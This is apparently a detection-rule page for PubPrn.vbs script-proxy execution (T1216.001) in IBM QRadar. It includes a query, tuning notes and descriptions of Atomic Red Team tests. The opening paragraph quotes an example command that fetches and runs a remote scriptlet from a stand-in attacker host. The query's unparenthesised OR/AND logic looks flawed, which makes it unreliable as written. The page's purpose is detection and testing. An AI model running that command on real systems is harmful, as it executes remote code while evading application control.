Detect PubPrn in IBM QRadar
Adversaries may abuse PubPrn.vbs to proxy execution of malicious remote scriptlet files. PubPrn.vbs is a Microsoft-signed Visual Basic Script located at C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs that is designed to publish printers to Active Directory Domain Services. Because the script is signed by Microsoft, it can be used to bypass application control solutions that trust Microsoft-signed code. Adversaries pass a script: URI scheme as the second parameter (e.g., pubprn.vbs 127.0.0.1 script:https://attacker.com/payload.sct) to fetch and execute a remote COM scriptlet (.sct) file via scrobj.dll. The script is typically invoked via cscript.exe or wscript.exe. Windows 10 and later versions restrict the second parameter to LDAP:// URIs, mitigating the remote code execution vector on patched systems; however, legacy environments and custom scripts may remain vulnerable.
MITRE ATT&CK
- Tactic
- Defense Evasion
- Technique
- T1216 System Script Proxy Execution
- Sub-technique
- T1216.001 PubPrn
- Canonical reference
- https://attack.mitre.org/techniques/T1216/001/
QRadar Detection Query
SELECT
DATEFORMAT(devicetime, 'yyyy-MM-dd HH:mm:ss') AS "Event Time",
LOGSOURCENAME(logsourceid) AS "Log Source",
sourceip AS "Source IP",
username AS "Username",
"FileName",
"CommandLine",
"ParentImage",
"ParentCommandLine",
CASE
WHEN LOWER("CommandLine") LIKE '%script:%' THEN 1 ELSE 0
END AS "HasScriptMoniker",
CASE
WHEN LOWER("CommandLine") LIKE '%http://%' OR LOWER("CommandLine") LIKE '%https://%' THEN 1 ELSE 0
END AS "HasHTTP",
CASE
WHEN LOWER("CommandLine") LIKE '%.sct%' THEN 1 ELSE 0
END AS "HasSCT"
FROM events
WHERE
LOGSOURCETYPENAME(devicetype) ILIKE '%Microsoft Windows Security Event Log%'
OR LOGSOURCETYPENAME(devicetype) ILIKE '%Sysmon%'
AND (
LOWER("FileName") LIKE '%cscript.exe%'
OR LOWER("FileName") LIKE '%wscript.exe%'
)
AND LOWER("CommandLine") LIKE '%pubprn%'
AND (
LOWER("CommandLine") LIKE '%script:%'
OR LOWER("CommandLine") LIKE '%.sct%'
)
LAST 24 HOURS
ORDER BY devicetime DESCDetects PubPrn.vbs proxy execution (T1216.001) in IBM QRadar by querying Windows Security or Sysmon log sources for cscript.exe or wscript.exe process creation events where the command line references pubprn and contains a script: URI moniker or .sct COM scriptlet path. Computes individual indicator flags for analyst triage.
Data Sources
Required Tables
False Positives & Tuning
- Printer provisioning automation scripts in enterprise environments that call pubprn.vbs programmatically — validate against CMDB printer management workflows
- Security tooling or SOAR playbooks that invoke pubprn.vbs as part of an authorized LOLBin detection test harness
- Legacy Windows Server environments running custom VBScript-based print management solutions that construct pubprn.vbs arguments dynamically — correlate with known asset inventory
Other platforms for T1216.001
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1PubPrn Script Moniker Proxy Execution via HTTP
Expected signal: Sysmon Event ID 1: Process Create with Image=cscript.exe, CommandLine containing 'pubprn.vbs' and 'script:http://127.0.0.1:8080/payload.sct'. Sysmon Event ID 3: Network connection attempt to 127.0.0.1:8080 from cscript.exe. Security Event ID 4688 with same command line if audit policy is enabled. Sysmon Event ID 7: scrobj.dll may be loaded if script: URI processing is initiated before the connection fails.
- Test 2PubPrn Execution via HTTPS with .sct Extension
Expected signal: Sysmon Event ID 1: Process Create with CommandLine containing 'pubprn.vbs', 'script:', 'https://', and '.sct'. Sysmon Event ID 22: DNS query attempt for 'localhost' from cscript.exe. Sysmon Event ID 3: Network connection attempt on port 443. Security Event ID 4688 if command line auditing is enabled.
- Test 3PubPrn via wscript.exe Instead of cscript.exe
Expected signal: Sysmon Event ID 1: Process Create with Image=wscript.exe (NOT cscript.exe), CommandLine containing 'pubprn.vbs' and 'script:http://'. Sysmon Event ID 3: Connection attempt to 127.0.0.1:9999. No console window spawned (wscript behavior). Security Event ID 4688 with full command line if auditing enabled.
- Test 4PubPrn Invocation from cmd.exe Parent (Simulated Phishing Chain)
Expected signal: Sysmon Event ID 1 (cmd.exe): Process Create for cmd.exe with /c argument. Sysmon Event ID 1 (cscript.exe): Process Create with ParentImage=cmd.exe, CommandLine containing 'pubprn.vbs script:http://'. Security Event IDs 4688 x2 for both process creations. Parent-child chain: cmd.exe -> cscript.exe visible in EDR process tree.
References (8)
- https://attack.mitre.org/techniques/T1216/001/
- https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn
- https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1216.001/T1216.001.md
- https://lolbas-project.github.io/lolbas/Scripts/Pubprn/
- https://twitter.com/ItsReallyNick/status/966359744379621376
- https://learn.microsoft.com/en-us/defender-endpoint/advanced-hunting-deviceprocessevents-table
- https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
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